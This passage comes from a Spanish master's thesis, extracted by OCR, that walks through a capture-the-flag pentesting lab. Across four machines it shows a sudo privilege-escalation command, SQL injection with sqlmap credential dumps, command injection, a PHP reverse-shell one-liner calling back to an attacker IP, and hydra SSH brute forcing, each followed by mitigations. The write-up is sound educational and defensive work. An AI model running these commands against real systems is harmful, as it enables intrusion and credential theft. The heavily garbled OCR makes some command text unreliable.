ECDSA key fingerprint is SHA256:2ovuisl/ UNLTT1chBzVpVNzZGU/S6NCVMPTEY.
Are you sure you want to continue connecting s/no/[fingerprint])? yes

Warning: anently added '192.168.0.15"' (ECDSA) to the list of known hosts.

hackerm192.168.0.15"'s password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.15.23-76051523-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com

& https://ubuntu.com/advantage
n has been minimized by removing packages and content that are
uired on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each ogram are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

hackerfad7e748eb870:~$% whoami
hacker
hacker@a®7e748eb870:~$ ||

Figura 4.17: Ssh con usuario hacker

e
o

Efectivamente, podemos iniciar sesion en la maquina con las credenciales. Ahora seguimos inves-
tigando y comprobamos qué podemos ejecutar con sudo como el usuario hacker con el siguiente
comando:

sudo -1

Listing 4.2: Comando permisos sudo

hacker@a07e748eb870:~% whoami
hacker
hacker@a07e748eb870:~$ sudo -1

word:

hacker may run the following commands on a@7e748e
(ALL, !'root) ALL
hackeraa07e748eb870:~$ |]

Figura 4.18: Permisos sudo del usuario hacker

Parece ser que nuestra version de sudo es vulnerable. No hace falta que busquemos mucho en la
web para encontrar una manera de explotarlo (“Linux Privilege Escalation - Vulnerable Sudo Version”,
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2021). Para escalar privilegios usando la vulnerabilidad de sudo tenemos que ejecutar el siguiente
comando:

i sudo -u#-1 /bin/bash
Listing 4.3: Comando vulnerabilidad sudo

Eureka, ahora tenemos root.

hackerfa07e748eb870:~% whoami

hacker

hackerga07e748eb870:~% sudo -1

Password:

User hacker may run the following commands on a@7e748eb870:

(ALL, !'root) ALL
hackerfa07e748eb870:~$% sudo -u#-1 /bin/bash
Password:
root@a@7e748eb870: /home/hacker# whoami
root
root@ad7e748ebs870: /home/hacker# JJ

Figura 4.19: Explotacién de sudo

Solo falta hacer un poco de busqueda y obtenemos la segunda flag.

(ALL,
hacker@a07e748eb870:~$% sudo -u#-1 /bin/bash
Password:
Wa07e748eb870:/home/hackert whoami
root
root@aB7e748eb870: /home/hackers#t find / -name flag.txt 2>/dev/null

/home /hacker/flag. txt

/root/flag.txt

rootpaf7e748eb870: /home/hacker#t cat /root/flag.txt
648d390c021ce7cfde2f95ea3fcd7lec
rootRad7e748ebs70: /home/hackers [J

Figura 4.20: Flag 2

Mitigaciones

En este apartado se expondran las mitigaciones que se deberian implementar para solventar las
vulnerabilidades expuestas.

1. Usuario ftp anonymous habilitado. Este usuario suele estar activado por defecto y deberia
bloguearse su acceso.

2. Credenciales de usuarios en procesos. Las credenciales del usuario hacker estaban expuestas
en la lista de procesos. Se deberia usar otro método o modificar el script hacker.sh para que las
credenciales no estén expuestas.

3. Version de sudo insegura. La version de sudo se deberia actualizar para eliminar la vulnerabili-
dad.
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4.2.2. Maquina 2 - Odyssey

En este apartado se describiran las fases del analisis y explotacion de la vulnerabilidad de la maquina
Odyssey.
Reconocimiento

En esta fase obtendremos informacion del sistema como puertos, software y version para posterior-
mente identificar vulnerabilidades y explotarlas. Hacemos un escaneo con la herramienta threader3000
y comprobamos que el puerto 8080 esta abierto.

142 »w |+ || I || =2 Tilix: ~/docker TFM/000ps_machine Q- [ N )

s the following Nmap scan:

sC -T4 -Pn -o0A 192.168.0.50 192.168.0.58
KRR R R A A TR AR AR R IR TR AR A AR R R R R R AR R R R Rk hk

to run Mmap or quit to terminal?

un s d Nmap scan
Run an Threader3000 scan
Exit t

-s C -T4 -Pn -0A 192.168.0.50 192.168.0.50
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-22 16:10 CET

Figura 4.21: Threader3000 odyssey

Procedemos con un escaneo con nmap y vemos que es un servicio http con un servidor Nginx
1.14.0.
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12~ + |l = Tilix: ~/docker TFM/000ps_machine Q- (N ]

he following Nmap scan:
SRR ———
nmap -p8086 -sV -sC -T4 -Pn -oA 192.168.0.50 192.168.0.58

B R

8.0.50
g Nmap ; ap.org ) at 2 22 16:18 CET

an rep

STATE SERVICE VERSION
en http nginx 1.14.0 (Ubuntu)
er-header: nginx/1.14.0 (Ubuntu)
tle: 4083 Forbidden
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection per Please report any incorre results at https://nmap.org/submit/ .
Nmap do 1 IP address (1 host up) scanned in 19.40

scan complet 00:32.117563
enter to quit...

Figura 4.22: Nmap odyssey

Ahora sabemos que:

= En el puerto 8080 hay un servidor apache nginx 1.14.0.

Identificacion de vulnerabilidades

Ahora que hemos completado la fase de reconocimiento, podemos buscar vulnerabilidades en los
servicios detectados.

Hacemos una busqueda con searchsploit y no encontramos ningun exploit que nos pueda servir en
este caso.
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24~ |+l = Tilix: ~/docker TFM aj-- [ N ]

scalation

.37 / 0.4.8 < 0.4.14 - Denial of Service (PoC)
ommand Injection

/ Download
of Service

verflow

Figura 4.23: Searchsploit odyssey

Pasamos a explorar el portal web. Vamos a ver qué directorios y archivos hay disponibles. Para esto,
usaremos la herramienta de enumeracion de directorios gobuster (“Gobuster”, y una lista de
directorios de la herramienta dirb (“Dirb”, 2015), que también es de enumeracién de directorios, llamada
big.txt. También especificamos en la busqueda que se pruebe a buscar archivos con extensiones .txt y

are/wordlists/big.txt --extensions txt,php

http://1
: 18
Wordlist: /usr/share/wordlists/big.txt

Status codes: 200,204,301,302,3607,401,403
User Agent: gobuster/3.0.1
Extensions: txt,php

Figura 4.24: Gobuster odyssey

Una vez finalizado el andlisis, detectamos un archivo (phpinfo.php) y un directorio (/admin/). El archi-
vo detectado, phpinfo.php, es el archivo por defecto de Php. Nada relevante.
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@ phpinfo() x | + v - O x
&« C A Notsecure | 192.168.0.15:8080/phpinfo.php > T B 2
PHP Version 7.1.33dev
System Linux 4ff0b0659F53 5.15.23-76051523-generic #202

19:52:40 U xB6_&4
Build Date Jul 24 2020 14:56:27
Configure Command ".fconfigure’ "-enable-fpm’' —-without-pear
Server API FPM/FastCGl
Virtual Directory Support disabled
Configuration File (php.ini) Path fusrilocal/lib
Loaded Configuration File (mone)
Scan this dir for additional .ini files (none)
Additional .ini files parsed (mone) -

Figura 4.25: phpinfo.php odyssey

Volvemos a buscar con gobuster en el directorio admin.

[grgllpcll~]

url:
Threads:
Wordlist: sr/share/wordlists/big.txt
Status codes: 200,204,301,302,307,401,403
gobuster/3.0.1
txt,php
10s

Figura 4.26: Gobuster odyssey

Parece que hemos encontrado algo interesante. Comprobamos los contenidos del archivo admin.php
en el navegador pero por lo visto es un archivo vacio.
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@ 192.168.0.15:8080/adminfadn x | + v = m] X

& C A Notsecure | 192.168.0.15:8080/admin/admin.php > % B A

Figura 4.27: admin.php odyssey

Dado que no hemos encontrado nada, vamos a intentar buscar archivos ocultos del tipo “.archivo” en
el directorio admin. Para esto, usaremos la lista big.txt pero con un punto al principio de cada opcién y
la llamaremos big-hidden.txt.

http://192.168
10
: /usr/share/wordlists/big-hidden.txt
5 codes: 200,204,301,302, , 401,403

’
gobuster/3.0.1
php, txt

ent:

Figura 4.28: Gobuster odyssey

Eureka. La flag estaba oculta en el directorio admin con el nombre .flag.txt.

Explotacién

En esta fase usaremos los datos de fases anteriores para obtener la flag. Ahora sabemos que el hay
un archivo llamado flag.txt en el directorio admin. Probamos a hacer una peticién web para obtener la
flag.
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@ 192.168.0.15:8080/admin/.fla. x | 4 v = m] X
&< C A Notsecure | 192.168.0.15:8080 /admin/ flag.txt > % B 2

flag is 58C250724441ED96979209921FAC3DE9

Figura 4.29: Flag oculta odyssey

Mitigaciones

Este ataque ha tenido éxito por la enumeracion de directorios que hemos realizado con gobuster. La
mayoria de las peticiones que hemos realizado para descubrir los directorios han devuelto error 404 Not
Found y la herramienta solo nos ha mostrado otras peticiones. Una de las medidas para mitigar este
riesgo es implementar herramientas 0 mecanismos que bloqueen una IP que esté haciendo muchas
peticiones por segundo y que estén generando muchos errores 404. De esta manera, si un atacante
intenta hacer una enumeracion de directorios sera bloqueado y no podra completar el ataque.
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4.2.3. Maquina 3 - Jump force one

En este apartado se describiran las fases del andlisis y explotacién de las vulnerabilidades de la
maquina Jump force one.

Reconocimiento

En esta fase obtendremos informacion del sistema como puertos, software y version para posterior-
mente identificar vulnerabilidades y explotarlas.

En esta ocasion, se han desplegado las maquinas jump force one y jump force two de manera
simultanea. Para descubrir su IP haremos un escaneo con nmap en la subred.

Descubrimos dos IPs: 172.18.0.1, que es el gateway, y 172.18.0.2, que se trata de la maquina jump
force one. Ahora que sabemos su IP hacemos un escaneo con la herramienta threader3000 y com-
probamos que el puerto 80 esta abierto.

sls~ |+l Tilix: ~/docker TFM Q- oe

Threader 3000 - Multi-threaded Port Scanner
Version 1.0.7
A project by The Mayor

Port 80 is open

Port scan completed in 0:00:04.687615

nmap -p8e -sV - -T4 -Pn -o0A 172.18.0.2 172.18.0.2
FEHREFFR A I IR IR AR R R AR R A IR R R AR R R AR R R bR kR kbR Ak R kR AR R Rk

Would you like to run Nmap or quit to terminal?

Run sug 5
Run another Threader3@ee® scan
Exit to terminal

Option Selection:

Figura 4.30: Threader3000 Jump force one

Después hacemos un escaneo con nmap sobre el puerto detectado y comprobamos que se trata de
un servidor httpd Apache.
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4fa - |+ 2 Tilix: ~/docker TFM Q | - (W ]
EE S R RS SRS S S EE R EE S S S SRR SRR SRR SRR RS EEEEE R RS EREEEEEEEESEEESEESEES

nmap -p80 -sV -sC -T4& -Pn -oA 172.18.(

R R SR R EEEEEEE 2 LT R R R E S SRR EEEEEE RS EEEE RS EE R E R R EE R EE R EE R EE T

Would you like to run Nmap or quit to terminal?

Run suggested Nmap scan
Run another Threader3@00® scan
Exit to terminal

Option Selection:

nmap -p8@ -sV - -T4 -Pn -0A 172.18.0.2 17

Starting Nmap ( https://nmap.org ) at 2 27 08:35 CET
Nmap scan report for 172.18.8.2

Host is up (0.00020s latency).

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.25 ((Debian))

| _http-server-header: Apache/2.4.25 (Debian)

| _http-title: Site doesn't have a title (text/html; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit
/

Nmap done: 1 IP address (1 host up) scanned in 19.40 seconds

scan completed in 0:00:30.143694
enter to quit...

Figura 4.31: Nmap Jump force one

Ahora sabemos lo siguiente:

= El puerto 80 tiene un servidor Apache httpd desplegado.

Identificacion de vulnerabilidades 1

En este apartado se identificaran posibles vulnerabilidades de los archivos encontrados en el apar-
tado anterior.

Dado que se trata de un servicio web, vamos a hacer una enumeracion de directorios para buscar
archivos interesantes. Para esto usaremos la herramienta gobuster junto con la lista big.txt incluida en
la herramienta dirb.
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sle~ + | =2 Tilix: ~/docker TFM a - [ N
s/big.txt --extensions txt,php

http://17

1@

/usr/share/wordlists/big.txt
Status codes: 2 ,301,302,307,401,403

gobuster/3.0.1

txt,php

.txt (Status: 403)
(Statu 403)
Status: 4

/backuﬁ,php (s
/ php (Statu

sword.php {

Figura 4.32: Gobuster Jump force one

Después del escaneo, detectamos dos archivos que podrian ser relevantes password.php y bac-
kup.php.

Empezaremos con password.php. Si navegamos al archivo, nos encontramos con un cuadro de texto
que nos pide un ID.

@ 172.18.0.2/ password.php x | 4+ v - O X
< C A Notsecure | 172.18.0.2/password.php > r B 2
ID de la frase: | | submit |

Figura 4.33: Password.php Jump force one

Dependiendo del ID que proporcionemos, nos devuelve una frase.
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@ 17218.02/password.php?id=1 x | =+ v - O x
< C A Notsecure | 172.18.0.2/password.php?id=1 > % B 2

luchando contra la adversidad

Figura 4.34: Password.php Jump force one

@ 17218.02/password.php?id=2 x | + v - O X
& C A MNotsecure | 172.18.0.2/password.php?id=2 > % B A

hasta ¢l infinito y mas alla

Figura 4.35: Password.php Jump force one

Parece que se trata de una consulta que hace una peticién a una base de datos o un archivo para
devolver las frases. Lo mas probable es que se trate de una sentencia sencilla del tipo:

i SELECT frase FROM frases WHERE id=$argumento

Listing 4.4: Posible sentencia SQL

Por lo tanto, si nuestra teoria es correcta, podremos hacer una inyeccién SQL con el argumento OR
y una sentencia true, y nos deberia devolver todas las frases de la tabla:

i 17 OR *1°="1

Listing 4.5: Inyeccion SQL
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& 17218.02/password.php?id=" x | 4+ w - O x
&« C A Notsecure | 172.18.0.2/password.php?id=1%27+0R+%271%27%3D%271 = Y W 2

no hay mal que por bien no venga
luchando contra la adversidad
hasta el infinito y mas alla

Esto es un TFM con Rock'n'Roll

Figura 4.36: Password.php Jump force one
Efectivamente, la inyeccion SQL es exitosa y el campo id de password.php es vulnerable.

Explotacion 1
En este apartado, explotaremos la vulnerabilidad de inyeccién SQL del archivo password.php.

Ahora que sabemos que es vulnerable, usaremos la herramienta sqlmap para obtener informacién
de manera mas eficiente. Primero tenemos que obtener el nombre de la base de datos. Para esto

usaremos el siguiente comando:
i sqlmap -u http://172.18.0.2:80/password.php?id=1 --current-db

Listing 4.6: Comando sqlmap base de datos

La herramienta hace un analisis y ahora sabemos que el nombre de la base de datos es poc.

: 21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25

back-end DBMS: MysSQL »>= 5.8 (MariaDB fork)
[16:34:21] [INFO] fetching current database
t database: 'poc'
: [INFO] fetched data logged to text files under

Figura 4.37: SQLi Jump force one

Con esta informacién, usaremos el siguiente comando para enumerar las tablas de la base de datos.

i sqlmap -u http://172.18.0.2:80/password.php?id=1 -D poc --tables

Listing 4.7: Comando sqglmap tablas
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3] [INFO] the back-end DBMS is MySQL
rver operating system: Linux Debian 9 (stretch)
veb application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
3] [INFO] fetching tables for database: 'poc'
Database: poc

[3 tables]

Figura 4.38: SQLi Jump force one

Tenemos las tablas flags, frases y users. Primero empezaremos con la tabla flags. Usaremos dos
comandos, uno para sacar los nombres de las columnas y otro para los contenidos de esas columnas.

1 sqlmap -u http://172.18.0.2:80/password.php?id=1 -T flags --columns

Listing 4.8: Comando sqlmap columnas

: Linux Debian 9 (stretch)
y: Apache 4.25
5.0 (MariaDB fork)
missing database parameter. sqlmap is going to use

[INFO] fetching current database
3] [INFO] fetching columns for table 'flags

in database 'poc’

Database: poc
Table: flags
[2 columns]

A L
| Column

e e e e

| flag _number | varchar(s)

| flag value varchar(4e)

B e +

Figura 4.39: SQLi Jump force one

Y ahora sacamos los contenidos de las columnas encontradas.

1 sqlmap -u http://172.18.0.2:80/password.php?id=1 -T flags -C flag_number, flag_value --dump

Listing 4.9: Comando sqlmap flags

Pagina 33



TFM - Pentesting & Hacking Etico mediante resolucién de un Capture The Flag (CTF) 2021/2022

:46] [INFO] the back-end DBMS is MySQL
veb server operating system: Linux Debian 9 (stretch)
de appllcatlun technology: Apache 2.4.25

MS: MySQL »>= 5.0 (MariaDB fork)

[WARNING] missing database parameter. sqlmap is go

] [INFO] fetching current database
1 [INFO] fPtching entries of column(s) 'flag _number,
6]

6] [INFD] recognized possible password hashes in culu
do you want to store hashes to a temporary file for eventual
do you want to crack them via a dictionary-based attack? [Y/n
Database: poc

Table: flags

[1 entry]

Figura 4.40: SQLi Jump force one

Finalmente hemos obtenido la flag de la maquina de jump force one. Siguiendo el mismo método,
también obtenemos una lista de usuarios y contrasenas de la tabla users. Esta informacion nos podria
ser Util mas adelante.

1 sqlmap -u http://172.18.0.2:80/password.php?id=1 -T users -C user,pass --dump

Listing 4.10: Comando sqlmap users

] [INFO] the back-end DBMS is MySOL
r operating system: Linux Debian 9 (stretch)
y: Apache 2.4.25
QL > @ (MariaDB fork)
NG] missing database parameter. sqlmap is going to use the current database to en
fetching current database
] [INFO] fetching entries of column(s)
Database: poc
Table: "S

'“user”,pass' for table 'users' in database 'poc’

pablo tefeme!.

mark highway
proof
rupert
VANCOUVEY. ;
fllemén:D

Figura 4.41: SQLi Jump force one

Ahora solo queda analizar el otro archivo backup.php y ver si es vulnerable también.

Identificacion de vulnerabilidades 2

En esta fase buscaremos vulnerabilidades en el archivo backup.php. Navegando al archivo, nos
encontramos otro formulario.
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@ 172.18.0.2/backup.php X + v -

Quieres saber quien soy?(Y/n): |

Para saber quien soy, introduce 2 numeros para sumar:
Numero 1: | |

Numero 2: | |

| submit |

< C A Notsecure | 172.18.0.2/backup.php > o B

Figura 4.42: Backup.php Jump force one

Si introducimos Y en el primer campo, y numeros (1 y 2) en el resto, nos devuelve el siguiente

resultado.
@ 172.18.0.2/backup.php X + v -
< C A Notsecure | 172.18.0.2/backup.php > o B
La suma es: 3

La recompensa es saber quien soy: www-data

Figura 4.43: Backup.php Jump force one

Vamos a intentar inyectar comandos para ver si alguno de los campos es vulnerable. Empezamos
con el primer campo, y parece que solo acepta “Y” o “n”. Después intentamos inyectar comandos en el
namero 2. Esto lo hacemos porque suponemos que este es el segundo campo de la sentencia que se
realiza en el codigo y sera mas facil hacer una inyeccion. Probamos las siguientes inyecciones y nos

fijamos en el resultado de la cadena La suma es:

Inyeccion Respuesta

2°0OR’1’="1 (vacio)

2 ;echo 1 Lasumaes: +21

2;echo1+2 Lasumaes: +23

2|echo1+2 La sumaes: 3

Is|echo1+2 La sumaes: 3

2;ls|echo1+2 Lasumaes:+23

2|Ils|echo1+2 Lasumaes: 3

2|ls;echo1+2 La suma es: backup.php index.html.bak index.php password.php 3
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@ 172.18.0.2/backup.php x | + v = O X
< C A Notsecure | 172.18.0.2/backup.php = % B 2

La suma es: backup.php index.html.bak index.php password.php 3
La recompensa es saber quien soy: www-data

Figura 4.44: Backup.php Jump force one

Hemos encontrado la vulnerabilidad, podemos inyectar comandos bash en el campo de Numero 2y
obtener el resultado.
Explotacion 2

Para conseguir una shell usamos la lista de inyecciones de pentestmonkey (“Reverse Shell Cheat
Sheet”,[2011).

Primero abriremos un puerto para recibir la sesién de shell con netcat.

nc -lvnp 1234

Listing 4.11: Comando inyeccion shell 1

Después intentaremos crear una sesion inyectando el siguiente comando en el campo Numero 2 de
backup.php.

2 | nc -1v -s 192.168.0.15 -s 1234 -e /bin/bash; echo 1 + 2
Listing 4.12: Comando netcat abrir puerto

Sin embargo, no recibimos respuesta. Vamos a probar si podemos crear una sesion con php inyec-
tando el siguiente comando.

2 | php -r ’$sock=fsockopen("192.168.0.15",1234);exec("/bin/sh -i <&3 >&3 2>&3");’; echo 1 + 2

Listing 4.13: Comando php shell

Eureka. Tenemos una shell.
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[[grg][pﬂ[ : TFM]
« Nnc -lvnp 1234

Listening on 0.0.0.8 1234

Connection received on 172.18.8.2 58196

/bin/sh: ®: can't access tty; job control turned off

$ whoami
www-data

$ 1

Figura 4.45: Shell Jump force one

En este momento ya hemos cumplido el objetivo de la maquina: hemos obtenido la flag y acceso y
control a la maquina.

Mitigaciones

1. Enumeracion de directorios: implementar herramientas o0 mecanismos que bloqueen una IP
que esté haciendo muchas peticiones por segundo y que estén generando muchos errores 404.
De esta manera, si un atacante intenta hacer una enumeracion de directorios sera bloqueado y
no podra completar el ataque.

2. Inyeccién SQL: la entrada del usuario en el archivo password.php no es saneada por el sistema
ni se hace ningun tipo de comprobacién previa antes de usarla como argumento en el cédigo. En
este caso, se espera un numero entero (int) y el cédigo deberia validar que el dato introducido
por el usuario es de tipo entero antes de procesarlo. En caso de que no lo sea, no se usaria y se
devolveria un mensaje de error.

3. Inyeccién de comandos: todos los datos que introduzca un usuario deben ser examinados y
validados antes de ser usados como parametro o argumentos en una operacion interna. En este
caso, hemos conseguido hacer una inyeccién de comandos en un campo (Numero 2) en el script
backup.php que esperaba un numero. El sistema deberia hacer una comprobacion que el dato
introducido por el usuario en el formulario es realmente un nimero y, en caso contrario, rechazar
la peticion y devolver un mensaje de error.
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4.2.4. Maquina 4 - Jump force two

En este apartado se describiran las fases del andlisis y explotacién de las vulnerabilidades de la
maquina Jump force two.

Reconocimiento

En esta fase obtendremos informacién del sistema como puertos, software y versidn para poste-
riormente identificar vulnerabilidades y explotarlas. En el apartado anterior solo pudimos localizar
la maquina Jump_force_one y el gateway. Esto se debe a que la maquina esta oculta en la red. Si
hacemos un escaneo normal con nmap de la subred 172.18.0.0/24, solo vemos dos IPs.

E[HE][PC][-—-- r

= Nmap -T5 172.18.0.0/24

Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-27 08:43 CET
Nmap scan report for pc (172.18.6.1)

Host is up (©.00013s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

5000/tcp open upnp

Nmap scan report for 172.18.0.2
Host is up (©.00014s latency).
Not shown: 999 closed ports
PORT STATE SERVICE

80/tcp open http

Nmap done: 256 IP addresses (2 hosts up) scanned in 15.48 seconds

Figura 4.46: Escaneo de nmap de jump_force_two

Sin embargo, si probamos con la opcidén -Pn, que trata todos los equipos como activos y omite el
descubrimiento de equipos, podemos ver el equipo oculto.

E[grg] [pell-

-« nmap -T4 -Pn 172.18.0.0/24

Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-27 88:57 CET
Nmap scan report for 172.18.0.8

Host is up (@.38s latency).

All 1000 scanned ports on 172.18.0.0 are filtered

Nmap scan report for pc (172.18.0.1)
Host is up (0.00021s latency).

Not shown: 999 closed ports

PORT STATE SERVICE

5000/tcp open upnp

Nmap scan report for 172.18.0.2
Host is up (0.00018s latency).
N shown: 999 closed ports
PORT STATE SERVICE

80/tcp open http

Nmap scan report for 172.18.6.3
Host is up (@.00046s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE

2222/tcp open EtherNetIP-1

Figura 4.47: Escaneo de nmap de jump_force two

Ahora que ya tenemos la IP, realizamos un escaneo del puerto. Para esto usaremos el siguiente
comando:
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nmap 172.18.0.3 -p2222 -sV -sC -A -Pn

Listing 4.14: Escaneo nmap

[[grg] [pcll~]
« nNmap 172.18.8.3 -p2222 -sV¥ -sC -A -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-21 11:35 CEST
Nmap scan report for 172.18.0.3
Host is up (P.008072s latency).

ORT STATE SERVICE WERSION
/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.8)
-hostkey:
2048
256 c4:0d:81:c2:1b:17:b4:c3:aa:%e:d6:8f:21:56:60:26 (ECDSA)
256 e7:49:09:ab:c5:ee:fc:92:3a:ce:e2:15:6b:3c:0d:1f (ED25519)
Info: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Mmap done: 1 IP address (1 host up) scanned in 13.38 seconds

Figura 4.48: Escaneo de nmap de jump_force two

Ahora sabemos lo siguiente:

= La maquina esté oculta en la IP 172.18.0.3 y no responde a Pings.
m El puerto 2222 tiene un servidor ssh desplegado.

Identificacion de vulnerabilidades

En este apartado se identificaran posibles vulnerabilidades del puerto encontrado en el apartado
anterior. Dado que no sabemos ni el usuario ni la contrasefia, usaremos los usuarios y contrasefnas de
la maquina anterior [4.41] Lamentablemente, probamos con esas credenciales y no funcionan.

Vamos a probar a hacer una wordlist (lista de posibles contrasefias) con un script de python[6.1] Este
script, a partir de cada opcion de la lista[6.2} calculara:

= Todas las rotaciones posibles. Por ejemplo, para la cadena “abc”: abc, cab, bca.
= Todas las posibilidades con el algoritmo ROT (“Algoritmo ROT”,[2021).
= Todas las permutaciones posibles de las cadenas.

A partir del script, se obtiene un listado de 40.336.816 de posibles contrasenas. Ahora probamos
a hacer un ataque de diccionario al servicio ssh con la lista de contrasefias generadas y la lista de
usuarios de la maquina anterior [4.41] Usaremos el siguiente comando:

hydra -L users.txt -P guessPass.txt -s 2222 ssh://172.18.0.83 -I

Listing 4.15: Bruteforce hydra
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[[grg] [pcll~ r TFM]

=« hydra -L rs.txt -P guessPass.txt -s 2222 ssh://172.18.0.3 -1

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or
purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-21 11:58:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended t«
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting

[DATA] max 16 tasks per 1 server, overall 16 tasks, 40336815 login tries (1l:1/p:48336815)
[DATA] attacking ssh://172.18.8.3: 2/

[2222][ssh] host: 172.18.08.3 login: pablo password: tefeme.!

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected

[ERROR] @ target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-04-21 11:59:02

Figura 4.49: Bruteforce con hydra de jump_force_two

Ahora que hemos obtenido las credenciales pablo:tefeme.! podemos usarlas para acceder a la
maquina.

Explotacién

En esta fase usaremos las credenciales descubiertas en el apartado anterior para acceder a la
maquina jump_force_two. Una vez dentro hacemos un listado de directorios y obtenemos la flag.

SMP PREEMPT Wed Mar 2 20: x86_64

The programs included with the Debian GNU/Linux tem are free software;
the exact distribution terms for each program are described in the
individual files in /fusr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

pablog952e54a0¢c290:~% 1s -al
total 36

pablo pablo 4096 May 27
root root 4096 May .
pablo pablo 78 Mar .bash_history
pablo pablo 226 May 26 .bash_logout
pablo pablo 3526 May 26 .bashrc
root root 41 May 7 .flag.txt
pablo pablo 807 May 26 2021 .profile

cat .flag.tx

4d8c72671245d9d1b8ed3a826db9d5ecead28c8e

Figura 4.50: Acceso con credenciales a jump_force_two

Mitigaciones

En este apartado se expondran las mitigaciones que se deberian implementar para solventar las
vulnerabilidades expuestas.

1. Contrasenas en plano: las contrasefias usadas para hacer la wordlist estaban almacenadas
en plano. Aunque no fuesen las credenciales exactas del servicio ssh, deberian almacenarse en
formato hash para evitar que se sean usadas por un atacante.

2. Fuerza bruta por ssh: se deberia habilitar un servicio (como iptables) que solo permita, por
ejemplo, tres peticiones por minuto desde cualquier host. De esta manera el ataque por fuerza
bruta se hace inviable, dado que llevaria demasiado tiempo.
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4.3. Resumen

En esta seccidn se ha detallado el proceso de penetracidén de sistemas con sus distintas fases en
cada una de las maquinas para obtener los flags. A continuacion se presenta la tabla con los flags

obtenidos:

Maquina

Flag

Oo0Ops_Machine (user)

244cdf401e667cca77b8228066096985

Oo0Ops_Machine (root)

648d390c021ce7cfde2f95ea3fcd71ec

Odyssey

58c250724441ed96979209921fac3d89

Jump_force_one

003d87344918e8ff13b72f2061bfbaade5a84b82

Jump_force_two

4d8c72671245d9d1b8e03a826db9d5ecead28c8c
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Capitulo 5

Conclusiones y posibles mejoras

Tras la realizacion del proyecto presentamos un resumen sobre las conclusiones obtenidas.

Durante la realizacion de este trabajo de fin de master hemos aprendido sobre el proceso de pe-
netracion de sistemas informaticos mediante el analisis y explotacién de brechas de seguridad en un
laboratorio donde se ha realizado el experimento. A continuacion se resume brevemente en varios
puntos los objetivos conseguidos en el trabajo desarrollado:

= Se hallevado a cabo el descubrimiento y enumeraciéon de maquinas en un entorno de aprendizaje.
= Se ha realizado la busqueda y deteccion de vulnerabilidades en sistemas.

= Se ha efectuado la explotacion de las vulnerabilidades encontradas.

= Se ha realizado una deteccion y ejecucion de una escalada de privilegios.

= Se ha propuesto mitigaciones de seguridad apropiadas para las vulnerabilidades detectadas.

= Se han conseguido los diferentes flags de los entornos.

= Se ha aplicado una metodologia de penetracion de sistemas.

= Se ha llevado a cabo una investigacién sobre conceptos y técnicas de hacking ético.

= Se ha hecho uso de herramientas de pentesting.

En este trabajo se han estudiado los distintos tipos de analisis de penetracidén de sistemas que exis-
teny las caracteristicas y fases de cada uno. También se han aprendido cuales son las vulnerabilidades
mas comunes detectadas en sistemas reales. Por ultimo, se han visto las ventajas de aprendizaje sobre
seguridad informatica que proporcionan los entornos CTF para sistemas simulados.

En conclusién, en este trabajo se ha presentado un anadlisis de penetracion de sistemas para la
deteccion de vulnerabilidades de seguridad y se han puesto a prueba los conocimientos adquiridos en
un laboratorio de maquinas simuladas.
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Capitulo 6

Anexo

6.1. Posibles mejoras

Existen varias posibilidades de ampliacién del trabajo realizado en este TFM. A continuacion, se
destaca las que se consideran mas importantes:

= Técnicas de pivoting entre maquinas. Crear un entorno de pruebas en el que haya que saltar de
una maquina a otra dentro de la misma red. Esto aportaria un nivel mayor de realismo, dado que
es como muchos atacantes se propagan en las organizaciones.

= Profundizar e implementar diferentes técnicas de escalado de privilegios. Dado el gran nimero de
técnicas nuevas que van surgiendo cada afno, es cada vez mas dificil detectar las amenazas. De-
sarrollar y demostrar como funcionan otras técnicas puede ser Util desde la perspectiva defensiva
y ofensiva.

= Crear un laboratorio de pruebas mas heterogéneo que tenga equipos con distintos sistemas ope-
rativos. Este trabajo se ha realizado con maquinas Linux, sin embargo el sistema operativo de
usuario mas extendido es Windows. Seria interesante un trabajo que aportase las diferentes vul-
nerabilidades especificas de cada sistema operativo.

Pagina 43



ENENGEN M)

o © ® N o ua

12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

TFM - Pentesting & Hacking Etico mediante resolucién de un Capture The Flag (CTF)

2021/2022

6.2. Cadigo

import codecs
from itertools import permutations

#https://stackoverflow.com/questions/8306654/finding-all-possible-permutations-of-a-given-string-in-

python

#https://www.geeksforgeeks.org/generate-rotations-given-string/

def printRotatedString(string)
n = len(string)
temp = string + string

wordlist = []

word =

for i in range(n)

for j in range(n)
word = word + (temp[i + j])

wordlist.append (word)

word =
return wordlist

#https://stackoverflow.com/questions/28544530/determine-rot-encoding

def encode(s, ROT_number):

